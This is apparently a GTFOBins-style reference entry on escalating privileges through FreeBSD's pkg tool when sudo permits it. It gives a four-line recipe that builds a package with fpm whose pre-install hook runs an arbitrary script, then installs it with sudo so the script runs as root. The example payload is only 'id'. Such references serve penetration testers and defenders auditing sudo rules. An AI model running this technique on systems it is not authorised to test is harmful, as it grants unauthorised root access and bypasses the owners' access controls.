If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
It runs commands using a specially crafted FreeBSD package. Generate it with fpm and upload it to the target.
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
sudo pkg install -y --no-repo-update ./x-1.0.txz